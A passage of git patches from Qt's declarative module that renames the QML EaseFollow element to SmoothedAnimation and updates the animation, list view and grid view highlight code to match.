(QDeclarativeItem* qmlItem = qobject_cast(item)) { - qmlItem->setParentItem(q); - } else { - item->setParentItem(q); - item->setParent(q); - } + QDeclarative_setParent_noEvent(item, q); + item->setParentItem(q); // item->setFocus(true); initResize(); } else { diff --git a/src/declarative/graphicsitems/qdeclarativepathview.cpp b/src/declarative/graphicsitems/qdeclarativepathview.cpp index dd1edd6..3574c9f 100644 --- a/src/declarative/graphicsitems/qdeclarativepathview.cpp +++ b/src/declarative/graphicsitems/qdeclarativepathview.cpp @@ -188,7 +188,7 @@ void QDeclarativePathViewPrivate::createHighlight() QDeclarativeContext *highlightContext = new QDeclarativeContext(qmlContext(q)); QObject *nobj = highlightComponent->create(highlightContext); if (nobj) { - highlightContext->setParent(nobj); + QDeclarative_setParent_noEvent(highlightContext, nobj); item = qobject_cast(nobj); if (!item) delete nobj; @@ -199,7 +199,8 @@ void QDeclarativePathViewPrivate::createHighlight() item = new QDeclarativeItem; } if (item) { - item->setParent(q); + QDeclarative_setParent_noEvent(item, q); + item->setParentItem(q); highlightItem = item; changed = true; } -- cgit v0.12 From 7a060ca401b4e260fd08c854213024b050a67ff2 Mon Sep 17 00:00:00 2001 From: Leonardo Sobral Cunha Date: Fri, 12 Feb 2010 17:19:51 +1000 Subject: Change and rename qml EaseFollow to SmoothedAnimation QDeclarativeSmoothedAnimation inherits from QDeclarativeNumberAnimation, as a consequence SmoothedAnimation can be used inside Behaviors and as PropertySourceValues, like any other animation. The old EaseFollow properties changed to comply with the other declarative animations ('source' changed to 'to'), so now 'to' changes are not automatically 'followed' anymore. You can achieve the following behavior by putting a SmoothedAnimation inside a Behavior of a property that is bound to another, as the following example: If you want to follow an hypothetical rect1, you should do now: Rectangle { color: "green" width: 60; height: 60; x: rect1.x - 5; y: rect1.y - 5; Behavior on x { SmoothedAnimation { velocity: 200 } } Behavior on y { SmoothedAnimation { velocity: 200 } } } SmoothedAnimation also supports animating multiple target(s)/property(ies) in the transition case. When a QDeclarativeSmoothedAnimation is restarted, it will match the QDeclarativeProperty which were being animated and transfer the corresponding track velocity to the new starting animations. QSmoothedAnimation is an uncontrolled animation, duration == -1. The duration is set as -1 to avoid consecutive animation state changes stop()/start(). This is particularly useful when using QSmoothAnimation to 'follow' another property, which is also being animated (change the 'to' property every tick). Reviewed-by: Michael Brasser --- doc/src/declarative/elements.qdoc | 2 +- .../progressbar/content/ProgressBar.qml | 3 +- .../graphicsitems/qdeclarativegridview.cpp | 36 +- .../graphicsitems/qdeclarativelistview.cpp | 36 +- src/declarative/qml/qdeclarativeproperty.h | 5 + src/declarative/util/qdeclarativeanimation.cpp | 19 +- src/declarative/util/qdeclarativeanimation_p.h | 10 +- src/declarative/util/qdeclarativeanimation_p_p.h | 5 +- src/declarative/util/qdeclarativebehavior.cpp | 3 +- src/declarative/util/qdeclarativeeasefollow.cpp | 499 +++++++++------------ src/declarative/util/qdeclarativeeasefollow_p.h | 42 +- src/declarative/util/qdeclarativeeasefollow_p_p.h | 133 ++++++ src/declarative/util/qdeclarativespringfollow.cpp | 2 - src/declarative/util/qdeclarativetransition.cpp | 6 +- src/declarative/util/qdeclarativeutilmodule.cpp | 2 +- src/declarative/util/util.pri | 1 + .../qdeclarativeeasefollow/data/easefollow1.qml | 2 +- .../qdeclarativeeasefollow/data/easefollow2.qml | 4 +- .../qdeclarativeeasefollow/data/easefollow3.qml | 4 +- .../data/easefollowBehavior.qml | 23 + .../data/easefollowValueSource.qml | 13 + .../tst_qdeclarativeeasefollow.cpp | 119 ++++- .../qdeclarativelistview/data/listviewtest.qml | 2 +- .../qdeclarativeeasefollow/easefollow.qml | 15 +- .../qmlvisual/qdeclarativegridview/gridview2.qml | 9 +- 25 files changed, 609 insertions(+), 386 deletions(-) create mode 100644 src/declarative/util/qdeclarativeeasefollow_p_p.h create mode 100644 tests/auto/declarative/qdeclarativeeasefollow/data/easefollowBehavior.qml create mode 100644 tests/auto/declarative/qdeclarativeeasefollow/data/easefollowValueSource.qml diff --git a/doc/src/declarative/elements.qdoc b/doc/src/declarative/elements.qdoc index 8091f95..fcfc7d6 100644 --- a/doc/src/declarative/elements.qdoc +++ b/doc/src/declarative/elements.qdoc @@ -77,11 +77,11 @@ The following table lists the QML elements provided by the Qt Declarative module \o \l PauseAnimation \o \l ParentAnimation \o \l AnchorAnimation +\o \l SmoothedAnimation \o \l PropertyAction \o \l ScriptAction \o \l Transition \o \l SpringFollow -\o \l EaseFollow \o \l Behavior \endlist diff --git a/examples/declarative/progressbar/content/ProgressBar.qml b/examples/declarative/progressbar/content/ProgressBar.qml index 65c80b2..aafb12e 100644 --- a/examples/declarative/progressbar/content/ProgressBar.qml +++ b/examples/declarative/progressbar/content/ProgressBar.qml @@ -21,7 +21,8 @@ Item { id: highlight; radius: 1 anchors.left: parent.left; anchors.top: parent.top; anchors.bottom: parent.bottom anchors.leftMargin: 3; anchors.topMargin: 3; anchors.bottomMargin: 3 - EaseFollow on width { source: highlight.widthDest; velocity: 1200 } + width: highlight.widthDest + Behavior on width { SmoothedAnimation { velocity: 1200 } } gradient: Gradient { GradientStop { id: g1; position: 0.0 } GradientStop { id: g2; position: 1.0 } diff --git a/src/declarative/graphicsitems/qdeclarativegridview.cpp b/src/declarative/graphicsitems/qdeclarativegridview.cpp index 250832b..6d1dec6 100644 --- a/src/declarative/graphicsitems/qdeclarativegridview.cpp +++ b/src/declarative/graphicsitems/qdeclarativegridview.cpp @@ -44,7 +44,7 @@ #include "qdeclarativevisualitemmodel_p.h" #include "qdeclarativeflickable_p_p.h" -#include +#include "qdeclarativeeasefollow_p_p.h" #include #include @@ -324,8 +324,8 @@ public: enum MovementReason { Other, SetIndex, Mouse }; MovementReason moveReason; int buffer; - QDeclarativeEaseFollow *highlightXAnimator; - QDeclarativeEaseFollow *highlightYAnimator; + QSmoothedAnimation *highlightXAnimator; + QSmoothedAnimation *highlightYAnimator; enum BufferMode { NoBuffer = 0x00, BufferBefore = 0x01, BufferAfter = 0x02 }; BufferMode bufferMode; QDeclarativeGridView::SnapMode snapMode; @@ -660,14 +660,14 @@ void QDeclarativeGridViewPrivate::createHighlight() QDeclarative_setParent_noEvent(item, q->viewport()); item->setParentItem(q->viewport()); highlight = new FxGridItem(item, q); - highlightXAnimator = new QDeclarativeEaseFollow(q); - highlightXAnimator->setTarget(QDeclarativeProperty(highlight->item, QLatin1String("x"))); - highlightXAnimator->setDuration(150); - highlightXAnimator->setEnabled(autoHighlight); - highlightYAnimator = new QDeclarativeEaseFollow(q); - highlightYAnimator->setTarget(QDeclarativeProperty(highlight->item, QLatin1String("y"))); - highlightYAnimator->setDuration(150); - highlightYAnimator->setEnabled(autoHighlight); + highlightXAnimator = new QSmoothedAnimation(q); + highlightXAnimator->target = QDeclarativeProperty(highlight->item, QLatin1String("x")); + highlightXAnimator->userDuration = 150; + highlightYAnimator = new QSmoothedAnimation(q); + highlightYAnimator->target = QDeclarativeProperty(highlight->item, QLatin1String("y")); + highlightYAnimator->userDuration = 150; + highlightXAnimator->restart(); + highlightYAnimator->restart(); changed = true; } } @@ -681,10 +681,12 @@ void QDeclarativeGridViewPrivate::updateHighlight() createHighlight(); if (currentItem && autoHighlight && highlight && !moving) { // auto-update highlight - highlightXAnimator->setSourceValue(currentItem->item->x()); - highlightYAnimator->setSourceValue(currentItem->item->y()); + highlightXAnimator->to = currentItem->item->x(); + highlightYAnimator->to = currentItem->item->y(); highlight->item->setWidth(currentItem->item->width()); highlight->item->setHeight(currentItem->item->height()); + highlightXAnimator->restart(); + highlightYAnimator->restart(); } updateTrackedItem(); } @@ -1190,10 +1192,6 @@ void QDeclarativeGridView::setHighlightFollowsCurrentItem(bool autoHighlight) Q_D(QDeclarativeGridView); if (d->autoHighlight != autoHighlight) { d->autoHighlight = autoHighlight; - if (d->highlightXAnimator) { - d->highlightXAnimator->setEnabled(d->autoHighlight); - d->highlightYAnimator->setEnabled(d->autoHighlight); - } d->updateHighlight(); } } @@ -1484,9 +1482,9 @@ void QDeclarativeGridView::viewportMoved() d->updateCurrent(idx); if (d->currentItem && d->currentItem->colPos() != d->highlight->colPos() && d->autoHighlight) { if (d->flow == LeftToRight) - d->highlightXAnimator->setSourceValue(d->currentItem->item->x()); + d->highlightXAnimator->to = d->currentItem->item->x(); else - d->highlightYAnimator->setSourceValue(d->currentItem->item->y()); + d->highlightYAnimator->to = d->currentItem->item->y(); } } } diff --git a/src/declarative/graphicsitems/qdeclarativelistview.cpp b/src/declarative/graphicsitems/qdeclarativelistview.cpp index ef8d2fd..6a4f4b9 100644 --- a/src/declarative/graphicsitems/qdeclarativelistview.cpp +++ b/src/declarative/graphicsitems/qdeclarativelistview.cpp @@ -44,7 +44,7 @@ #include "qdeclarativeflickable_p_p.h" #include "qdeclarativevisualitemmodel_p.h" -#include +#include "qdeclarativeeasefollow_p_p.h" #include #include #include @@ -455,8 +455,8 @@ public: enum MovementReason { Other, SetIndex, Mouse }; MovementReason moveReason; int buffer; - QDeclarativeEaseFollow *highlightPosAnimator; - QDeclarativeEaseFollow *highlightSizeAnimator; + QSmoothedAnimation *highlightPosAnimator; + QSmoothedAnimation *highlightSizeAnimator; QDeclarativeViewSection *sectionCriteria; QString currentSection; static const int sectionCacheSize = 3; @@ -825,15 +825,15 @@ void QDeclarativeListViewPrivate::createHighlight() } } const QLatin1String posProp(orient == QDeclarativeListView::Vertical ? "y" : "x"); - highlightPosAnimator = new QDeclarativeEaseFollow(q); - highlightPosAnimator->setTarget(QDeclarativeProperty(highlight->item, posProp)); - highlightPosAnimator->setVelocity(highlightMoveSpeed); - highlightPosAnimator->setEnabled(autoHighlight); + highlightPosAnimator = new QSmoothedAnimation(q); + highlightPosAnimator->target = QDeclarativeProperty(highlight->item, posProp); + highlightPosAnimator->velocity = highlightMoveSpeed; + highlightPosAnimator->restart(); const QLatin1String sizeProp(orient == QDeclarativeListView::Vertical ? "height" : "width"); - highlightSizeAnimator = new QDeclarativeEaseFollow(q); - highlightSizeAnimator->setVelocity(highlightResizeSpeed); - highlightSizeAnimator->setTarget(QDeclarativeProperty(highlight->item, sizeProp)); - highlightSizeAnimator->setEnabled(autoHighlight); + highlightSizeAnimator = new QSmoothedAnimation(q); + highlightSizeAnimator->velocity = highlightResizeSpeed; + highlightSizeAnimator->target = QDeclarativeProperty(highlight->item, sizeProp); + highlightSizeAnimator->restart(); changed = true; } } @@ -847,8 +847,8 @@ void QDeclarativeListViewPrivate::updateHighlight() createHighlight(); if (currentItem && autoHighlight && highlight && !moving) { // auto-update highlight - highlightPosAnimator->setSourceValue(currentItem->position()); - highlightSizeAnimator->setSourceValue(currentItem->size()); + highlightPosAnimator->to = currentItem->position(); + highlightSizeAnimator->to = currentItem->size(); if (orient == QDeclarativeListView::Vertical) { if (highlight->item->width() == 0) highlight->item->setWidth(currentItem->item->width()); @@ -856,6 +856,8 @@ void QDeclarativeListViewPrivate::updateHighlight() if (highlight->item->height() == 0) highlight->item->setHeight(currentItem->item->height()); } + highlightPosAnimator->restart(); + highlightSizeAnimator->restart(); } updateTrackedItem(); } @@ -1604,10 +1606,6 @@ void QDeclarativeListView::setHighlightFollowsCurrentItem(bool autoHighlight) Q_D(QDeclarativeListView); if (d->autoHighlight != autoHighlight) { d->autoHighlight = autoHighlight; - if (d->highlightPosAnimator) { - d->highlightPosAnimator->setEnabled(d->autoHighlight); - d->highlightSizeAnimator->setEnabled(d->autoHighlight); - } d->updateHighlight(); emit highlightFollowsCurrentItemChanged(); } @@ -1867,7 +1865,7 @@ void QDeclarativeListView::setHighlightMoveSpeed(qreal speed) if (d->highlightMoveSpeed != speed) { d->highlightMoveSpeed = speed; if (d->highlightPosAnimator) - d->highlightPosAnimator->setVelocity(d->highlightMoveSpeed); + d->highlightPosAnimator->velocity = d->highlightMoveSpeed; emit highlightMoveSpeedChanged(); } } @@ -1884,7 +1882,7 @@ void QDeclarativeListView::setHighlightResizeSpeed(qreal speed) if (d->highlightResizeSpeed != speed) { d->highlightResizeSpeed = speed; if (d->highlightSizeAnimator) - d->highlightSizeAnimator->setVelocity(d->highlightResizeSpeed); + d->highlightSizeAnimator->velocity = d->highlightResizeSpeed; emit highlightResizeSpeedChanged(); } } diff --git a/src/declarative/qml/qdeclarativeproperty.h b/src/declarative/qml/qdeclarativeproperty.h index 73bccf3..8f6ea48 100644 --- a/src/declarative/qml/qdeclarativeproperty.h +++ b/src/declarative/qml/qdeclarativeproperty.h @@ -131,6 +131,11 @@ private: }; typedef QList QDeclarativeProperties; +inline uint qHash (const QDeclarativeProperty &key) +{ + return qHash(key.object()) + qHash(key.name()); +} + QT_END_NAMESPACE QT_END_HEADER diff --git a/src/declarative/util/qdeclarativeanimation.cpp b/src/declarative/util/qdeclarativeanimation.cpp index bad142c..ba1444e 100644 --- a/src/declarative/util/qdeclarativeanimation.cpp +++ b/src/declarative/util/qdeclarativeanimation.cpp @@ -1078,15 +1078,26 @@ void QDeclarativePropertyAction::transition(QDeclarativeStateActions &actions, QDeclarativeNumberAnimation::QDeclarativeNumberAnimation(QObject *parent) : QDeclarativePropertyAnimation(parent) { - Q_D(QDeclarativePropertyAnimation); - d->interpolatorType = QMetaType::QReal; - d->interpolator = QVariantAnimationPrivate::getInterpolator(d->interpolatorType); + init(); +} + +QDeclarativeNumberAnimation::QDeclarativeNumberAnimation(QDeclarativePropertyAnimationPrivate &dd, QObject *parent) +: QDeclarativePropertyAnimation(dd, parent) +{ + init(); } QDeclarativeNumberAnimation::~QDeclarativeNumberAnimation() { } +void QDeclarativeNumberAnimation::init() +{ + Q_D(QDeclarativePropertyAnimation); + d->interpolatorType = QMetaType::QReal; + d->interpolator = QVariantAnimationPrivate::getInterpolator(d->interpolatorType); +} + /*! \qmlproperty real NumberAnimation::from This property holds the starting value. @@ -2237,8 +2248,10 @@ void QDeclarativePropertyAnimation::transition(QDeclarativeStateActions &actions } d->va->setAnimValue(data, QAbstractAnimation::DeleteWhenStopped); d->va->setFromSourcedValue(&data->fromSourced); + d->actions = &data->actions; } else { delete data; + d->actions = 0; } } diff --git a/src/declarative/util/qdeclarativeanimation_p.h b/src/declarative/util/qdeclarativeanimation_p.h index 816520e..f620786 100644 --- a/src/declarative/util/qdeclarativeanimation_p.h +++ b/src/declarative/util/qdeclarativeanimation_p.h @@ -251,8 +251,8 @@ public: QDeclarativePropertyAnimation(QObject *parent=0); virtual ~QDeclarativePropertyAnimation(); - int duration() const; - void setDuration(int); + virtual int duration() const; + virtual void setDuration(int); QVariant from() const; void setFrom(const QVariant &); @@ -326,6 +326,12 @@ public: qreal to() const; void setTo(qreal); + +protected: + QDeclarativeNumberAnimation(QDeclarativePropertyAnimationPrivate &dd, QObject *parent); + +private: + void init(); }; class Q_AUTOTEST_EXPORT QDeclarativeVector3dAnimation : public QDeclarativePropertyAnimation diff --git a/src/declarative/util/qdeclarativeanimation_p_p.h b/src/declarative/util/qdeclarativeanimation_p_p.h index 2a66c8a..8bcbeff 100644 --- a/src/declarative/util/qdeclarativeanimation_p_p.h +++ b/src/declarative/util/qdeclarativeanimation_p_p.h @@ -304,7 +304,7 @@ class QDeclarativePropertyAnimationPrivate : public QDeclarativeAbstractAnimatio public: QDeclarativePropertyAnimationPrivate() : QDeclarativeAbstractAnimationPrivate(), target(0), fromSourced(false), fromIsDefined(false), toIsDefined(false), - rangeIsSet(false), defaultToInterpolatorType(0), interpolatorType(0), interpolator(0), va(0) {} + rangeIsSet(false), defaultToInterpolatorType(0), interpolatorType(0), interpolator(0), va(0), actions(0) {} void init(); @@ -330,6 +330,9 @@ public: QDeclarativeBulkValueAnimator *va; + // for animations that dont use the QDeclarativeBulkValueAnimator + QDeclarativeStateActions *actions; + static QVariant interpolateVariant(const QVariant &from, const QVariant &to, qreal progress); static void convertVariant(QVariant &variant, int type); }; diff --git a/src/declarative/util/qdeclarativebehavior.cpp b/src/declarative/util/qdeclarativebehavior.cpp index 7181777..87d6836 100644 --- a/src/declarative/util/qdeclarativebehavior.cpp +++ b/src/declarative/util/qdeclarativebehavior.cpp @@ -163,7 +163,8 @@ void QDeclarativeBehavior::write(const QVariant &value) d->currentValue = d->property.read(); - d->animation->qtAnimation()->stop(); + if (d->animation->qtAnimation()->duration() != -1) + d->animation->qtAnimation()->stop(); QDeclarativeStateOperation::ActionList actions; QDeclarativeAction action; diff --git a/src/declarative/util/qdeclarativeeasefollow.cpp b/src/declarative/util/qdeclarativeeasefollow.cpp index ee181dd..ce2c496 100644 --- a/src/declarative/util/qdeclarativeeasefollow.cpp +++ b/src/declarative/util/qdeclarativeeasefollow.cpp @@ -40,86 +40,79 @@ ****************************************************************************/ #include "qdeclarativeeasefollow_p.h" +#include "qdeclarativeeasefollow_p_p.h" #include "qdeclarativeanimation_p_p.h" #include +#include "qdeclarativeproperty_p.h" + +#include "qdeclarativeglobal_p.h" #include #include +#include + +#define DELAY_STOP_TIMER_INTERVAL 32 QT_BEGIN_NAMESPACE +QSmoothedAnimation::QSmoothedAnimation(QObject *parent) + : QAbstractAnimation(parent), to(0), velocity(200), userDuration(-1), maximumEasingTime(-1), + reversingMode(QDeclarativeSmoothedAnimation::Eased), initialVelocity(0), + trackVelocity(0), initialValue(0), invert(false), finalDuration(-1), lastTime(0) +{ + delayedStopTimer.setInterval(DELAY_STOP_TIMER_INTERVAL); + delayedStopTimer.setSingleShot(true); + connect(&delayedStopTimer, SIGNAL(timeout()), this, SLOT(stop())); +} +void QSmoothedAnimation::restart() +{ + if (state() != QAbstractAnimation::Running) + start(); + else + init(); +} -class QDeclarativeEaseFollowPrivate : public QObjectPrivate +void QSmoothedAnimation::updateState(QAbstractAnimation::State newState, QAbstractAnimation::State /*oldState*/) { - Q_DECLARE_PUBLIC(QDeclarativeEaseFollow) -public: - QDeclarativeEaseFollowPrivate() - : source(0), velocity(200), duration(-1), maximumEasingTime(-1), - reversingMode(QDeclarativeEaseFollow::Eased), initialVelocity(0), - initialValue(0), invert(false), enabled(true), trackVelocity(0), clockOffset(0), - lastTick(0), clock(this) - {} - - qreal source; - qreal velocity; - qreal duration; - qreal maximumEasingTime; - QDeclarativeEaseFollow::ReversingMode reversingMode; - - qreal initialVelocity; - qreal initialValue; - bool invert; - bool enabled; - - qreal trackVelocity; - - QDeclarativeProperty target; - - int clockOffset; - int lastTick; - void tick(int); - void clockStart(); - void clockStop(); - QTickAnimationProxy clock; - - void restart(); - - // Parameters for use in tick() - qreal a; // Acceleration - qreal d; // Deceleration - qreal tf; // Total time - qreal tp; // Time at which peak velocity occurs - qreal td; // Time at which decelleration begins - qreal vp; // Velocity at tp - qreal sp; // Displacement at tp - qreal sd; // Displacement at td - qreal vi; // "Normalized" initialvelocity - bool recalc(); -}; - -bool QDeclarativeEaseFollowPrivate::recalc() + if (newState == QAbstractAnimation::Running) + init(); +} + +void QSmoothedAnimation::delayedStop() { - qreal s = source - initialValue; + if (!delayedStopTimer.isActive()) + delayedStopTimer.start(); +} + +int QSmoothedAnimation::duration() const +{ + return -1; +} + +bool QSmoothedAnimation::recalc() +{ + s = to - initialValue; vi = initialVelocity; - s = (invert?-1.0:1.0) * s; - vi = (invert?-1.0:1.0) * vi; + s = (invert? -1.0: 1.0) * s; - if (duration > 0 && velocity > 0) { + if (userDuration > 0 && velocity > 0) { tf = s / velocity; - if (tf > (duration / 1000.)) tf = (duration / 1000.); - } else if (duration > 0) { - tf = duration / 1000.; + if (tf > (userDuration / 1000.)) tf = (userDuration / 1000.); + } else if (userDuration > 0) { + tf = userDuration / 1000.; } else if (velocity > 0) { tf = s / velocity; } else { return false; } + finalDuration = ceil(tf * 1000.0); + if (maximumEasingTime == 0) { a = 0; d = 0; @@ -129,7 +122,6 @@ bool QDeclarativeEaseFollowPrivate::recalc() sp = 0; sd = s; } else if (maximumEasingTime != -1 && tf > (maximumEasingTime / 1000.)) { - qreal met = maximumEasingTime / 1000.; td = tf - met; @@ -138,7 +130,6 @@ bool QDeclarativeEaseFollowPrivate::recalc() qreal c3 = -0.5 * (tf - td) * vi * vi; qreal vp1 = (-c2 + sqrt(c2 * c2 - 4 * c1 * c3)) / (2. * c1); - // qreal vp2 = (-c2 - sqrt(c2 * c2 - 4 * c1 * c3)) / (2. * c1); vp = vp1; a = vp / met; @@ -147,21 +138,16 @@ bool QDeclarativeEaseFollowPrivate::recalc() sp = vi * tp + 0.5 * a * tp * tp; sd = sp + (td - tp) * vp; } else { - qreal c1 = 0.25 * tf * tf; qreal c2 = 0.5 * vi * tf - s; qreal c3 = -0.25 * vi * vi; qreal a1 = (-c2 + sqrt(c2 * c2 - 4 * c1 * c3)) / (2. * c1); - //qreal a2 = (-c2 - sqrt(c2 * c2 - 4 * c1 * c3)) / (2. * c1); qreal tp1 = 0.5 * tf - 0.5 * vi / a1; - //qreal tp2 = 0.5 * tf - 0.5 * vi / a2; qreal vp1 = a1 * tp1 + vi; - //qreal vp2 = a2 * tp2 + vi; qreal sp1 = 0.5 * a1 * tp1 * tp1 + vi * tp1; - //qreal sp2 = 0.5 * a2 * tp2 * tp2 + vi * tp2; a = a1; d = a1; @@ -171,92 +157,103 @@ bool QDeclarativeEaseFollowPrivate::recalc() sp = sp1; sd = sp1; } - - /* - qWarning() << "a:" << a << "tf:" << tf << "tp:" << tp << "vp:" - << vp << "sp:" << sp << "vi:" << vi << "invert:" << invert; - */ return true; } -void QDeclarativeEaseFollowPrivate::clockStart() +qreal QSmoothedAnimation::easeFollow(qreal time_seconds) { - if (clock.state() == QAbstractAnimation::Running) { - clockOffset = lastTick; - return; + qreal value; + if (time_seconds < tp) { + trackVelocity = vi + time_seconds * a; + value = 0.5 * a * time_seconds * time_seconds + vi * time_seconds; + } else if (time_seconds < td) { + time_seconds -= tp; + trackVelocity = vp; + value = sp + time_seconds * vp; + } else if (time_seconds < tf) { + time_seconds -= td; + trackVelocity = vp - time_seconds * a; + value = sd - 0.5 * d * time_seconds * time_seconds + vp * time_seconds; } else { - clockOffset = 0; - lastTick = 0; - clock.start(); + trackVelocity = 0; + value = s; + delayedStop(); } -} -void QDeclarativeEaseFollowPrivate::clockStop() -{ - clockOffset = 0; - lastTick = 0; - clock.stop(); + // to normalize 's' between [0..1], divide 'value' by 's' + return value; } -void QDeclarativeEaseFollowPrivate::tick(int t) +void QSmoothedAnimation::updateCurrentTime(int t) { - lastTick = t; - t -= clockOffset; - - qreal time_seconds = qreal(t) / 1000.; - - qreal out = 0; - if (time_seconds < tp) { - - trackVelocity = vi + time_seconds * a; - trackVelocity = (invert?-1.0:1.0) * trackVelocity; - - qreal value = 0.5 * a * time_seconds * time_seconds + vi * time_seconds; - value = (invert?-1.0:1.0) * value; - target.write(initialValue + value); - out = initialValue + value; - } else if (time_seconds < td) { + qreal time_seconds = qreal(t - lastTime) / 1000.; - time_seconds -= tp; - trackVelocity = (invert?-1.0:1.0) * vp; - qreal value = sp + time_seconds * vp; - value = (invert?-1.0:1.0) * value; + qreal value = easeFollow(time_seconds); + value *= (invert? -1.0: 1.0); + QDeclarativePropertyPrivate::write(target, initialValue + value, + QDeclarativePropertyPrivate::BypassInterceptor + | QDeclarativePropertyPrivate::DontRemoveBinding); +} - target.write(initialValue + value); +void QSmoothedAnimation::init() +{ + if (velocity == 0) { + stop(); + return; + } - out = initialValue + value; - } else if (time_seconds < tf) { + if (delayedStopTimer.isActive()) + delayedStopTimer.stop(); - time_seconds -= td; + initialValue = target.read().toReal(); + lastTime = this->currentTime(); - trackVelocity = vp - time_seconds * a; - trackVelocity = (invert?-1.0:1.0) * trackVelocity; + if (to == initialValue) { + stop(); + return; + } - qreal value = sd - 0.5 * d * time_seconds * time_seconds + vp * time_seconds; - value = (invert?-1.0:1.0) * value; + bool hasReversed = trackVelocity != 0. && + ((trackVelocity > 0) == ((initialValue - to) > 0)); - target.write(initialValue + value); + if (hasReversed) { + switch (reversingMode) { + default: + case QDeclarativeSmoothedAnimation::Eased: + break; + case QDeclarativeSmoothedAnimation::Sync: + QDeclarativePropertyPrivate::write(target, to, + QDeclarativePropertyPrivate::BypassInterceptor + | QDeclarativePropertyPrivate::DontRemoveBinding); + return; + case QDeclarativeSmoothedAnimation::Immediate: + initialVelocity = 0; + delayedStop(); + break; + } + } - out = initialValue + value; - } else { + trackVelocity = initialVelocity; - clock.stop(); + invert = (to < initialValue); - trackVelocity = 0; - target.write(source); + if (!recalc()) { + QDeclarativePropertyPrivate::write(target, to, + QDeclarativePropertyPrivate::BypassInterceptor + | QDeclarativePropertyPrivate::DontRemoveBinding); + stop(); + return; } - - //qWarning() << out << trackVelocity << t << a; } /*! - \qmlclass EaseFollow QDeclarativeEaseFollow + \qmlclass SmoothedAnimation QDeclarativeSmoothedAnimation \since 4.7 - \brief The EaseFollow element allows a property to smoothly track a value. + \brief The SmoothedAnimation element allows a property to smoothly track a value. - The EaseFollow smoothly animates a property's value to a set target value - using an ease in/out quad easing curve. If the target value changes while - the animation is in progress, the easing curves used to animate to the old + The SmoothedAnimation smoothly animates a property's value to a set target value + using an ease in/out quad easing curve. If the animation is restarted + with a different target value, the easing curves used to animate to the old and the new target values are spliced together to avoid any obvious visual glitches. @@ -282,9 +279,9 @@ Rectangle { Rectangle { color: "green" width: 60; height: 60; - x: -5; y: -5; - EaseFollow on x { source: rect1.x - 5; velocity: 200 } - EaseFollow on y { source: rect1.y - 5; velocity: 200 } + x: rect1.x - 5; y: rect1.y - 5; + Behavior on x { SmoothedAnimation { velocity: 200 } } + Behavior on y { SmoothedAnimation { velocity: 200 } } } Rectangle { @@ -301,7 +298,7 @@ Rectangle { } \endcode - The default velocity of EaseFollow is 200 units/second. Note that if the range of the + The default velocity of SmoothedAnimation is 200 units/second. Note that if the range of the value being animated is small, then the velocity will need to be adjusted appropriately. For example, the opacity of an item ranges from 0 - 1.0. To enable a smooth animation in this range the velocity will need to be @@ -311,226 +308,176 @@ Rectangle { \sa SpringFollow */ -QDeclarativeEaseFollow::QDeclarativeEaseFollow(QObject *parent) -: QObject(*(new QDeclarativeEaseFollowPrivate), parent) +QDeclarativeSmoothedAnimation::QDeclarativeSmoothedAnimation(QObject *parent) +: QDeclarativeNumberAnimation(*(new QDeclarativeSmoothedAnimationPrivate), parent) { } -QDeclarativeEaseFollow::~QDeclarativeEaseFollow() +QDeclarativeSmoothedAnimation::~QDeclarativeSmoothedAnimation() { } -/*! - \qmlproperty qreal EaseFollow::source - This property holds the source value which will be tracked. - - Bind to a property in order to track its changes. -*/ -qreal QDeclarativeEaseFollow::sourceValue() const +QDeclarativeSmoothedAnimationPrivate::QDeclarativeSmoothedAnimationPrivate() + : wrapperGroup(new QParallelAnimationGroup), anim(new QSmoothedAnimation) { - Q_D(const QDeclarativeEaseFollow); - return d->source; + Q_Q(QDeclarativeSmoothedAnimation); + QDeclarative_setParent_noEvent(wrapperGroup, q); + QDeclarative_setParent_noEvent(anim, q); } -/*! - \qmlproperty enumeration EaseFollow::reversingMode - - Sets how the EaseFollow behaves if an animation direction is reversed. - - If reversing mode is \c Eased, the animation will smoothly decelerate, and - then reverse direction. If the reversing mode is \c Immediate, the - animation will immediately begin accelerating in the reverse direction, - begining with a velocity of 0. If the reversing mode is \c Sync, the - property is immediately set to the target value. -*/ -QDeclarativeEaseFollow::ReversingMode QDeclarativeEaseFollow::reversingMode() const +QAbstractAnimation* QDeclarativeSmoothedAnimation::qtAnimation() { - Q_D(const QDeclarativeEaseFollow); - return d->reversingMode; + Q_D(QDeclarativeSmoothedAnimation); + return d->wrapperGroup; } -void QDeclarativeEaseFollow::setReversingMode(ReversingMode m) +void QDeclarativeSmoothedAnimation::transition(QDeclarativeStateActions &actions, + QDeclarativeProperties &modified, + TransitionDirection direction) { - Q_D(QDeclarativeEaseFollow); - if (d->reversingMode == m) + Q_D(QDeclarativeSmoothedAnimation); + QDeclarativeNumberAnimation::transition(actions, modified, direction); + + if (!d->actions) return; - d->reversingMode = m; - emit reversingModeChanged(); -} + QSet anims; + for (int i = 0; i < d->actions->size(); i++) { + QSmoothedAnimation *ease; + qreal trackVelocity; + bool needsRestart; + if (!d->activeAnimations.contains((*d->actions)[i].property)) { + ease = new QSmoothedAnimation(); + d->wrapperGroup->addAnimation(ease); + d->activeAnimations.insert((*d->actions)[i].property, ease); + trackVelocity = 0.0; + needsRestart = false; + } else { + ease = d->activeAnimations.value((*d->actions)[i].property); + trackVelocity = ease->trackVelocity; + needsRestart = true; + } -void QDeclarativeEaseFollowPrivate::restart() -{ - if (!enabled || velocity == 0) { - clockStop(); - return; - } + ease->target = (*d->actions)[i].property; + ease->to = (*d->actions)[i].toValue.toReal(); - initialValue = target.read().toReal(); + // copying public members from main value holder animation + ease->maximumEasingTime = d->anim->maximumEasingTime; + ease->reversingMode = d->anim->reversingMode; + ease->velocity = d->anim->velocity; + ease->userDuration = d->anim->userDuration; - if (source == initialValue) { - clockStop(); - return; - } + ease->trackVelocity = trackVelocity; + ease->initialVelocity = trackVelocity; - bool hasReversed = trackVelocity != 0. && - ((trackVelocity > 0) == ((initialValue - source) > 0)); + if (needsRestart) + ease->init(); + anims.insert(ease); + } - if (hasReversed) { - switch (reversingMode) { - default: - case QDeclarativeEaseFollow::Eased: - break; - case QDeclarativeEaseFollow::Sync: - target.write(source); - return; - case QDeclarativeEaseFollow::Immediate: - initialVelocity = 0; - clockStop(); - break; + for (int i = d->wrapperGroup->animationCount() - 1; i >= 0 ; --i) { + if (!anims.contains(d->wrapperGroup->animationAt(i))) { + QSmoothedAnimation *ease = static_cast(d->wrapperGroup->animationAt(i)); + d->activeAnimations.remove(ease->target); + d->wrapperGroup->takeAnimation(i); + delete ease; } } +} - trackVelocity = initialVelocity; - - invert = (source < initialValue); +/*! + \qmlproperty enumeration SmoothedAnimation::reversingMode - if (!recalc()) { - target.write(source); - clockStop(); - return; - } + 